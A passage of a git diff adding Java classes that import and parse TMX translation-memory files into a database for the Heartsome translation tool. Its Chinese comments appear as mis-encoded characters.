new StringBuffer(); + for (String dbNodeId : existDbNoteId) { + xpathWhere.append("@id='" + dbNodeId + "' or "); + } + + if (xpathWhere.length() > 0) { + String xpath = xpathWhere.substring(0, xpathWhere.lastIndexOf("or")); + XMLModifier xm = vtdUtiles.delete("/termEntry/note[" + xpath + "]", VTDUtils.PILOT_TO_END); // 清除文件中的note + vtdUtiles.bind(xm.outputAndReparse()); + } + + if (noteContentBf.length() != 0) { + XMLModifier xm = vtdUtiles.insert("/termEntry/text()", noteContentBf.toString()); + vtdUtiles.bind(xm.outputAndReparse()); + } + + content = vtdUtiles.getElementFragment(); + + dbOperator.updateTermEntry(content, termEntryPk); + + vu.getVTDNav().pop(); + } + } + + /** + * 获å–当å‰èŠ‚点属性的值 + * @param attrName + * 属性å称 + * @return + * @throws XPathParseException + * @throws XPathEvalException + * @throws NavException + * ; + */ + private String getElementAttribute(String attrName) throws XPathParseException, XPathEvalException, NavException { + Map attr = vu.getCurrentElementAttributs(); + if (attr != null) { + String attrValue = attr.get(attrName); + return attr.get(attrName) == null ? "" : attrValue; + } + return ""; + } +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ImportTmx.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ImportTmx.java new file mode 100644 index 0000000..1d6614b --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/ImportTmx.java @@ -0,0 +1,467 @@ +/** + * ImportTmxTemp.java + * + * Version information : + * + * Date:2013-1-28 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.document; + +import java.io.File; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.TmxContexts; +import net.heartsome.cat.common.bean.TmxNote; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.core.exception.ImportException; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.Utils; +import net.heartsome.cat.database.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ImportTmx { + public static final Logger logger = LoggerFactory.getLogger(ImportTmx.class); + /** 导入策略 */ + private int importStrategy; + + private DBOperator db; + + private TmxReader reader; + + private List tmxTuCache; + + private final int cacheSize = 200; + + private IProgressMonitor monitor; + + public ImportTmx(DBOperator db, int importStrategy, IProgressMonitor monitor) { + if (monitor == null) { + this.monitor = new NullProgressMonitor(); + } else { + this.monitor = monitor; + } + this.db = db; + this.importStrategy = importStrategy; + tmxTuCache = new ArrayList(cacheSize); + } + + public void importTmxContent(String content) throws ImportException { + try { + reader = new TmxReader(content); + String srcLang = reader.getTmxHeader().getSrclang(); + if (srcLang == null || srcLang.equals("*all*") || srcLang.equals("")) { + // 从TMX中读å–ä¸åˆ°æºè¯­è¨€,此时åªèƒ½æ‰§è¡Œå¢žåŠ  + importStrategy = Constants.IMPORT_MODEL_ALWAYSADD; + } + } catch (TmxReadException e) { + throw new ImportException(e.getMessage()); + } + doImport(); + } + + public void importTmxFile(File tmxFile) throws ImportException { + try { + reader = new TmxReader(tmxFile); + String srcLang = reader.getTmxHeader().getSrclang(); + if (srcLang == null || srcLang.equals("*all*") || srcLang.equals("")) { + // 从TMX中读å–ä¸åˆ°æºè¯­è¨€,此时åªèƒ½æ‰§è¡Œå¢žåŠ  + importStrategy = Constants.IMPORT_MODEL_ALWAYSADD; + } + } catch (TmxReadException e) { + throw new ImportException(e.getMessage()); + } + doImport(); + } + + private void doImport() throws ImportException { + int totalTu = reader.getTotalTu(); + if (totalTu == 0) { + throw new ImportException(Messages.getString("document.TmxReader.readTuMsg")); + } + String monitorMsg = Messages.getString("document.ImportTmx.task1"); + monitor.beginTask(monitorMsg, totalTu * 2); + TmxReaderEvent event = null; + while ((event = reader.read()) != null) { + if (event.getState() == TmxReaderEvent.END_FILE) { + // end file + break; + } else if (event.getState() == TmxReaderEvent.ERROR_TU) { + // error TU + continue; + } else if (event.getState() == TmxReaderEvent.READ_EXCEPTION) { + // read TU throw a exception + continue; + } else if (event.getState() == TmxReaderEvent.NORMAL_READ) { + if (monitor != null && monitor.isCanceled()) { + monitor.setTaskName(Messages.getString("document.ImportTmx.msg1")); + throw new ImportException(Messages.getString("document.ImportTmx.canceledImport")); + } + // normal TU returned + if (cacheSize == tmxTuCache.size()) { + try { + flush(); + } catch (SQLException e) { + throw new ImportException(Messages.getString("document.ImportTmx.dbOpError") + e.getMessage()); + } + } + tmxTuCache.add(event.getTu()); + monitor.worked(1); + if (monitor != null && monitor.isCanceled()) { + monitor.setTaskName(Messages.getString("document.ImportTmx.msg1")); + throw new ImportException(Messages.getString("document.ImportTmx.canceledImport")); + } + } + } + if (monitor != null && monitor.isCanceled()) { + monitor.setTaskName(Messages.getString("document.ImportTmx.msg1")); + throw new ImportException(Messages.getString("document.ImportTmx.canceledImport")); + } + try { + flush(); + } catch (SQLException e) { + throw new ImportException(Messages.getString("document.ImportTmx.dbOpError") + e.getMessage()); + } + monitor.done(); + } + + private void flush() throws SQLException { + if (importStrategy == Constants.IMPORT_MODEL_ALWAYSADD) { // 始终增加 + // transaction control + // long l = System.currentTimeMillis(); + db.beginTransaction(); + try { + for (TmxTU tu : tmxTuCache) { + addTu(tu); + monitor.worked(1); + if (monitor != null && monitor.isCanceled()) { + break; + } + } + } catch (SQLException e) { + db.rollBack(); + throw e; + } + db.commit(); + tmxTuCache.clear(); + // System.out.println((System.currentTimeMillis() - l)); + } else if (importStrategy == Constants.IMPORT_MODEL_OVERWRITE) { + Map> duplicateTuCache = new HashMap>(); + // Map> duplicateTuvPkCache = new HashMap>(); + // long l2 = System.currentTimeMillis(); + for (TmxTU tu : tmxTuCache) { + if (monitor != null && monitor.isCanceled()) { + return; + } + // long l1 = System.currentTimeMillis(); + List dbTus = checkDuplicate(tu); + if (dbTus == null) { // error TU + continue; + } + // cached the DB exist TU + duplicateTuCache.put(tu, dbTus); + if (dbTus.size() != 0) { + // long l = System.currentTimeMillis(); + for (TmxTU dbTu : dbTus) { + List tuvs = tu.getSegments(); + List dbTuvs = new ArrayList(); + for (TmxSegement tuv : tuvs) { + dbTuvs.addAll(db.getTextDataIdByGroupIdLang(dbTu.getTmId(), "M", tuv.getLangCode())); + } + dbTu.setSegments(dbTuvs); + List dbProps = db.getTuMprops(dbTu.getTmId(), "TU"); + dbTu.setProps(dbProps); + List dbNotes = db.getTuMNote(dbTu.getTmId(), "TU"); + dbTu.setNotes(dbNotes); + // duplicateTuvPkCache.put(dbTu, dbTuvs); + } + // System.out.println("getTextDataidByGroup:"+ (System.currentTimeMillis() - l)); + } + // System.out.println("tu check with db:"+ (System.currentTimeMillis() - l1)); + } + // System.out.println("200 tu check with db:"+ (System.currentTimeMillis() - l2)); + tmxTuCache.clear(); + + // Transaction control + db.beginTransaction(); + try { + Iterator tuIt = duplicateTuCache.keySet().iterator(); + while (tuIt.hasNext()) { + if (monitor != null && monitor.isCanceled()) { + break; + } + TmxTU tu = tuIt.next(); + List dbTus = duplicateTuCache.get(tu); + if (dbTus.size() == 0) { + addTu(tu); + } else { + for (TmxTU dbTu : dbTus) { + String changeDate = tu.getChangeDate() == null ? "" : tu.getChangeDate(); + String changeId = tu.getChangeUser() == null ? "" : tu.getChangeUser(); + + String dbChangeDate = dbTu.getChangeDate() == null ? "" : dbTu.getChangeDate(); + String dbChangeId = dbTu.getChangeUser() == null ? "" : dbTu.getChangeUser(); + + // Update TU Attribute (XmlElement Attribute) + if (!changeDate.equals(dbChangeDate) || !changeId.equals(dbChangeId)) { + db.updateTuChangeInfo(dbTu.getTmId(), tu.getTuId(), changeId, changeDate); + } + + // Update Prop + List props = tu.getProps(); + List dbProps = dbTu.getProps(); + if(dbProps.size() == 0 && props != null){ + for (TmxProp _prop : props) { + db.insertTMXProp(dbTu.getTmId(), "TU", _prop.getName(), null, null, _prop.getValue()); + } + } else if(props != null) { + for(TmxProp prop : props){ + boolean exist = false; + for(TmxProp dbProp : dbProps){ + if(prop.equals(dbProp)){ + exist = true; + break; + } + } + if(!exist){ + db.deleteMprop("TU", dbTu.getTmId() + ""); + for (TmxProp _prop : props) { + db.insertTMXProp(dbTu.getTmId(), "TU", _prop.getName(), null, null, _prop.getValue()); + } + break; + } + } + } + + // Update Note + List notes = tu.getNotes(); + List dbNotes = dbTu.getNotes(); + if(dbNotes.size() == 0 && notes != null){ + for (TmxNote note : notes) { + db.insertTMXNote(dbTu.getTmId(), "TU", note.getContent(), null, null, null, null, + note.getEncoding(), note.getXmlLang()); + } + } else if(notes != null){ + for (TmxNote note : notes) { + boolean exist = false; + for(TmxNote dbNote : dbNotes){ + if(note.equals(dbNote)){ + exist = true; + break; + } + } + if(!exist){ + db.deleteMNote("TU", dbTu.getTmId() + ""); + for (TmxNote _note : notes) { + db.insertTMXNote(dbTu.getTmId(), "TU", _note.getContent(), null, null, null, null, + _note.getEncoding(), _note.getXmlLang()); + } + break; + } + } + } + + // Update TUVS except source TUV + List tuvs = tu.getSegments(); + if (tuvs != null) { + for (TmxSegement tuv : tuvs) { + List dbTuvs = dbTu.getSegments(); + String lang = tuv.getLangCode(); + String content = tuv.getFullText(); + if (content == null) { + continue; + } + if (dbTuvs.size() != 0) { + boolean flg = false; + boolean isDuplicate = false; + for (TmxSegement dbTuv : dbTuvs) { + if (dbTuv.getLangCode().equalsIgnoreCase(lang)) { + String dbContent = dbTuv.getFullText(); + if (!dbContent.equals(content)) { + db.deleteAllTuvRelations( + Arrays.asList(new Integer[] { dbTuv.getDbPk() }), lang); + flg = true; + } + isDuplicate = true; + } + } + if (flg == true || !isDuplicate) { + addTuv(dbTu.getTmId(), tuv, null, null); + } + } else { + addTuv(dbTu.getTmId(), tuv, null, null); + } + } + } + + // Update context + TmxContexts dbContexts = dbTu.getContexts(); + if (tu.getContexts() != null) { + String preContext = tu.getContexts().getPreContext(); + String nextContext = tu.getContexts().getNextContext(); + if (dbContexts == null) { + db.updateTuvContext(dbTu.getTmId(), tu.getSource().getLangCode(), preContext, + nextContext); + } else { + String dbPreContext = dbContexts.getPreContext(); + String dbNextContext = dbContexts.getNextContext(); + + if (!dbPreContext.equals(preContext) || !dbNextContext.equals(nextContext)) { + db.updateTuvContext(dbTu.getTmId(), tu.getSource().getLangCode(), preContext, + nextContext); + } + } + } + } + } + monitor.worked(1); + } + } catch (SQLException e) { + db.rollBack(); + throw e; + } + db.commit(); + duplicateTuCache.clear(); + } else if (importStrategy == Constants.IMPORT_MODEL_IGNORE) { + List needAddTus = new ArrayList(); + for (TmxTU tu : tmxTuCache) { + if (monitor != null && monitor.isCanceled()) { + return; + } + List dbTus = checkDuplicate(tu); + if (dbTus == null) { // error TU + continue; + } + // cached the DB exist TU + if (dbTus.size() == 0) { + needAddTus.add(tu); + } + } + tmxTuCache.clear(); + // Transaction control + db.beginTransaction(); + try { + for (TmxTU tu : needAddTus) { + if (monitor != null && monitor.isCanceled()) { + break; + } + addTu(tu); + monitor.worked(1); + } + } catch (SQLException e) { + db.rollBack(); + throw e; + } + db.commit(); + needAddTus.clear(); + } + } + + private List checkDuplicate(TmxTU tu) throws SQLException { + TmxSegement srcTuv = tu.getSource(); + if (srcTuv == null || tu.getSegments().size() == 0) { + return null; + } + String pureText = srcTuv.getPureText(); + if (pureText == null) { + return null; + } + int hash = pureText.hashCode(); + String tuId = tu.getTuId(); + if (tuId == null || tuId.equals("")) { + tuId = generateTuId(); + tu.setTuId(tuId); + } + // long l = System.currentTimeMillis(); + List dbTus = db.getTUInfoByTuvInfo(hash, Utils.convertLangCode(srcTuv.getLangCode()), tuId); + // System.out.println("checkDuplicate tu: "+ (System.currentTimeMillis() - l)); + return dbTus; + } + + private boolean addTu(TmxTU tu) throws SQLException { + TmxSegement srcTuv = tu.getSource(); + List tuvs = tu.getSegments(); + if ((srcTuv == null && tuvs == null) || (srcTuv == null && tuvs.size() < 2)) { + // check TU + return false; + } + String tuId = tu.getTuId(); + if (tuId == null || tuId.equals("")) { + tuId = generateTuId(); + } + int tuPk = db.insertTU(0, tuId, tu.getCreationUser(), tu.getCreationDate(), tu.getChangeUser(), + tu.getChangeDate(), tu.getCreationTool(), tu.getCreationToolVersion(), null, null, null); + List notes = tu.getNotes(); + if (notes != null && notes.size() != 0) { + for (TmxNote note : notes) { + db.insertTMXNote(tuPk, "TU", note.getContent(), null, null, null, null, note.getEncoding(), + note.getXmlLang()); + } + } + List props = tu.getProps(); + if (props != null && props.size() != 0) { + for (TmxProp prop : props) { + db.insertTMXProp(tuPk, "TU", prop.getName(), null, null, prop.getValue()); + } + } + + String preContext = null; + String nextContext = null; + if (tu.getContexts() != null) { + preContext = tu.getContexts().getPreContext(); + nextContext = tu.getContexts().getNextContext(); + } + if (srcTuv != null) { + addTuv(tuPk, srcTuv, preContext, nextContext); + preContext = null; + nextContext = null; + } + if (tuvs != null) { + for (TmxSegement tuv : tuvs) { + addTuv(tuPk, tuv, preContext, nextContext); + } + } + return true; + } + + private void addTuv(int tuPk, TmxSegement tuv, String preContext, String nextContext) throws SQLException { + String pureText = tuv.getPureText(); + String hash = pureText == null ? null : pureText.hashCode() + ""; + try { + db.insertTextData("M", tuPk, hash, pureText, tuv.getFullText(), Utils.convertLangCode(tuv.getLangCode()), + preContext == null ? "" : preContext, nextContext == null ? "" : nextContext); + } catch (Exception e) { + e.printStackTrace(); + } + } + + /** + * 按“时间戳与éšæœºäº”ä½æ•°â€è§„则生æˆTUID + * @return ; + */ + private String generateTuId() { + return System.currentTimeMillis() + Utils.validateCode(5); + } +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/document/TmxFilterInterface.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/TmxFilterInterface.java new file mode 100644 index 0000000..c84baa3 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/TmxFilterInterface.java @@ -0,0 +1,25 @@ +/** + * TmxFilter.java + * + * Version information : + * + * Date:2013-5-17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.document; + +/** + * @author Administrator + * @version + * @since JDK1.6 + */ +public interface TmxFilterInterface { + public String SDL_2007_FOR_WIN = "TRADOS Translator's Workbench for Windows"; + public String SDL_2007_VERSION = "Edition 8 Build 863"; + + public String clearString(String content); +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/document/TmxFilterSDL2007Impl.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/TmxFilterSDL2007Impl.java new file mode 100644 index 0000000..679d40c --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/TmxFilterSDL2007Impl.java @@ -0,0 +1,26 @@ +/** + * TmxFilterSDL2007Impl.java + * + * Version information : + * + * Date:2013-5-17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.document; + +/** + * @author Administrator + * @version + * @since JDK1.6 + */ +public class TmxFilterSDL2007Impl implements TmxFilterInterface{ + + public String clearString(String content) { + String result = content.replaceAll("[\\s\\S]*?", "").replaceAll("<cf[\\s\\S]*?>", "").replaceAll("</cf>", ""); + return result.trim(); + } +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/document/TmxReadException.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/TmxReadException.java new file mode 100644 index 0000000..f627118 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/TmxReadException.java @@ -0,0 +1,54 @@ +/** + * TmxReadException.java + * + * Version information : + * + * Date:2013-1-25 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.document; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxReadException extends Exception { + + /** serialVersionUID. */ + private static final long serialVersionUID = 1L; + + private int exceptionCode; + + public TmxReadException() { + super(); + } + + public TmxReadException(String message) { + super(message); + this.exceptionCode = -1; + } + + public TmxReadException(String message, int exceptionCode) { + this(message); + this.exceptionCode = exceptionCode; + } + + public TmxReadException(String message, Throwable cause) { + super(message, cause); + exceptionCode = -1; + } + + public TmxReadException(String message, Throwable cause, int exceptionCode) { + this(message, cause); + this.exceptionCode = exceptionCode; + } + + public int getExcetpitonCode(){ + return exceptionCode; + } +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/document/TmxReader.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/TmxReader.java new file mode 100644 index 0000000..130a63c --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/TmxReader.java @@ -0,0 +1,628 @@ +/** + * TmxFileReader.java + * + * Version information : + * + * Date:2013-1-25 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.document; + +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.common.bean.TmxContexts; +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.bean.TmxNote; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.util.FileEncodingDetector; +import net.heartsome.cat.common.util.LanguageUtils; +import net.heartsome.cat.database.Utils; +import net.heartsome.cat.database.resource.Messages; +import net.heartsome.xml.vtdimpl.EmptyFileException; +import net.heartsome.xml.vtdimpl.VTDLoader; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.EncodingException; +import com.ximpleware.NavException; +import com.ximpleware.ParseException; +import com.ximpleware.VTDException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxReader { + + private final Logger logger = LoggerFactory.getLogger(TmxReader.class); + + private TmxHeader header; + private int totalTu; + + /** XML解æžå°è£… */ + private VTDUtils vu; + private AutoPilot tuAp; + + // public static void main(String[] args) throws IOException { + // File f = new File("d:\\IT_TM_SC.tmx"); + // try { + // long l = System.currentTimeMillis(); + // File t = new File("d:\\test.tmx"); + // if (!t.exists()) { + // t.createNewFile(); + // } + // FileOutputStream fos = new FileOutputStream(t); + // TmxReader r = new TmxReader(f); + // TmxTU tu = null; + // while ((tu = r.read()) != null) { + // + // StringBuffer bf = new StringBuffer(); + // bf.append(" it = tu.getAttributes().keySet().iterator(); + // while (it.hasNext()) { + // String attrName = it.next(); + // String attrValue = tu.getAttributes().get(attrName); + // if (attrValue != null && !attrValue.equals("")) { + // bf.append(" " + attrName + "=\"" + attrValue + "\""); + // } + // } + // } + // bf.append(">\n"); + // List notes = tu.getNotes(); + // if (notes != null) { + // for (TmxNote note : notes) { + // bf.append(note.getContent() + "\n"); + // } + // } + // List props = tu.getProps(); + // if (props != null) + // for (TmxProp prop : props) { + // bf.append(""); + // bf.append(prop.getValue()); + // bf.append("\n"); + // } + // + // TmxSegement tuv = tu.getSource(); + // if (tuv != null) { + // bf.append("\n"); + // bf.append("" + tuv.getFullText() + "\n"); + // bf.append("\n"); + // } + // List tuvs = tu.getSegments(); + // for (TmxSegement _tuv : tuvs) { + // bf.append("\n"); + // bf.append("" + _tuv.getFullText() + "\n"); + // bf.append("\n"); + // } + // bf.append("\n\n"); + // fos.write(bf.toString().getBytes()); + // + // } + // fos.close(); + // System.out.println((System.currentTimeMillis() - l) / 1000); + // } catch (TmxReadException e) { + // e.printStackTrace(); + // } + // } + private TmxFilterInterface tmxFilter = null; + + public TmxReader(File file) throws TmxReadException { + // 解æžæ–‡ä»¶ + VTDGen vg = null; + try { + vg = VTDLoader.loadVTDGen(file, FileEncodingDetector.detectFileEncoding(file)); + } catch (IOException e) { + logger.error(Messages.getString("document.DocUtils.logger1"), e); + throw new TmxReadException(Messages.getString("document.TmxReader.parseTmxFileError")); + } catch (EncodingException e) { + logger.error(Messages.getString("document.ImportAbstract.logger1"), e); + String message = Messages.getString("document.ImportAbstract.msg1"); + throw new TmxReadException(message + e.getMessage()); + } catch (ParseException e) { + logger.error(Messages.getString("document.ImportAbstract.logger3"), e); + String errMsg = e.getMessage(); + String message; + if (errMsg.indexOf("invalid encoding") != -1) { // ç¼–ç å¼‚常 + message = Messages.getString("document.ImportAbstract.msg1"); + } else { + message = Messages.getString("document.ImportAbstract.msg3"); + } + throw new TmxReadException(message + e.getMessage()); + } catch (EmptyFileException e) { + logger.error(Messages.getString("document.DocUtils.logger1"), e); + throw new TmxReadException(Messages.getString("document.TmxReader.EmptyTmxFileError")); + } + if (vg == null) { + throw new TmxReadException(Messages.getString("document.TmxReader.parseTmxFileError")); + } + // 验è¯TMX ,解æžHeader XMLElement,将节点导航到Body XMLElement + header = new TmxHeader(); + validateTmxAndParseHeader(vg); + + tuAp = new AutoPilot(vu.getVTDNav()); + try { + tuAp.selectXPath("./tu"); + } catch (XPathParseException e) { + throw new TmxReadException(Messages.getString("document.TmxReader.parseTmxFileError")); + } + } + + public TmxReader(String tmxContent) throws TmxReadException { + // 解æžæ–‡ä»¶ + VTDGen vg = new VTDGen(); + vg.setDoc(tmxContent.getBytes()); + String message = ""; + try { + vg.parse(true); + } catch (EncodingException e) { + logger.error(Messages.getString("document.ImportAbstract.logger1"), e); + message = Messages.getString("document.ImportAbstract.msg1"); + throw new TmxReadException(message + e.getMessage()); + } catch (ParseException e) { + logger.error(Messages.getString("document.ImportAbstract.logger3"), e); + String errMsg = e.getMessage(); + if (errMsg.indexOf("invalid encoding") != -1) { // ç¼–ç å¼‚常 + message = Messages.getString("document.ImportAbstract.msg1"); + } else { + message = Messages.getString("document.ImportAbstract.msg3"); + } + throw new TmxReadException(message + e.getMessage()); + } + header = new TmxHeader(); + validateTmxAndParseHeader(vg); + tuAp = new AutoPilot(vu.getVTDNav()); + try { + tuAp.selectXPath("./tu"); + } catch (XPathParseException e) { + throw new TmxReadException(Messages.getString("document.TmxReader.parseTmxFileError")); + } + } + + public TmxReaderEvent read() { + TmxTU tu = null; + try { + if (tuAp.evalXPath() != -1) { + tu = new TmxTU(); + readTuElementAttribute(tu); + readTuNoteElement(tu); + readTuPropElement(tu); + readTuTuvElement(tu); + } else { + return new TmxReaderEvent(null, TmxReaderEvent.END_FILE); + } + } catch (VTDException e) { + return new TmxReaderEvent(null, TmxReaderEvent.READ_EXCEPTION); + } + return new TmxReaderEvent(tu, TmxReaderEvent.NORMAL_READ); + } + + private void readTuTuvElement(TmxTU tu) throws VTDException { + VTDNav vn = vu.getVTDNav(); + vn.push(); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./tuv"); + // TUV 节点下的Note,Prop节点暂时ä¸å¤„ç†ï¼Œæ‰€ä»¥æ­¤å¤„æš‚æ—¶ä¸è§£æž + while (ap.evalXPath() != -1) { + int inx = vn.getAttrVal("xml:lang"); + inx = inx == -1 ? vn.getAttrVal("lang") : inx; + String lang = inx != -1 ? vn.toString(inx) : null; + if (lang == null) { + continue; + } + + vn.push(); + if (vu.pilot("./seg") != -1) { + String fullText = vu.getElementContent().trim(); + String pureText = DocUtils.getTmxTbxPureText(vu).trim(); + if (fullText == null || pureText == null || fullText.equals("") || pureText.equals("")) { + // fix Bug #2928 by Jason SQLite--导入TMX异常, 导入程åºæ­£å¸¸é€€å‡ºï¼Œä½†æ˜¯æœªå®Œå…¨å¯¼å…¥æ‰€æœ‰å†…容,此处在continue时应该先调用vn.pop() + vn.pop(); + continue; + } + TmxSegement segment = new TmxSegement(); + segment.setLangCode(Utils.convertLangCode(lang)); + if (tmxFilter == null) + segment.setFullText(fullText); + else { + String text = tmxFilter.clearString(fullText); + segment.setFullText(text); + } + segment.setPureText(pureText); + if (lang.equalsIgnoreCase(header.getSrclang())) { + tu.setSource(segment); + } else { + tu.appendSegement(segment); + } + } + vn.pop(); + } + vn.pop(); + } + + private void readTuPropElement(TmxTU tu) throws VTDException { + VTDNav vn = vu.getVTDNav(); + vn.push(); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./prop"); + while (ap.evalXPath() != -1) { + String content = vu.getElementContent(); + if (content == null) { + continue; + } + int inx = vn.getAttrVal("type"); + String typeValue = inx != -1 ? vn.toString(inx) : null; + if (typeValue == null) { + continue; + } + if (typeValue.equals(TmxContexts.PRE_CONTEXT_NAME)) { + tu.appendContext(TmxContexts.PRE_CONTEXT_NAME, content.trim()); + } else if (typeValue.equals(TmxContexts.NEXT_CONTEXT_NAME)) { + tu.appendContext(TmxContexts.NEXT_CONTEXT_NAME, content.trim()); + } else if (typeValue.equals("x-Context")) { + // Trados TMX file + String[] contexts = content.split(","); + if (contexts.length == 2) { + tu.appendContext(TmxContexts.PRE_CONTEXT_NAME, contexts[0].trim()); + tu.appendContext(TmxContexts.NEXT_CONTEXT_NAME, contexts[1].trim()); + } + } else { + TmxProp p = new TmxProp(typeValue, content); + tu.appendProp(p); + } + } + vn.pop(); + } + + private void readTuNoteElement(TmxTU tu) throws VTDException { + VTDNav vn = vu.getVTDNav(); + + vn.push(); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./note"); + while (ap.evalXPath() != -1) { + String fragment = vu.getElementFragment(); + TmxNote note = new 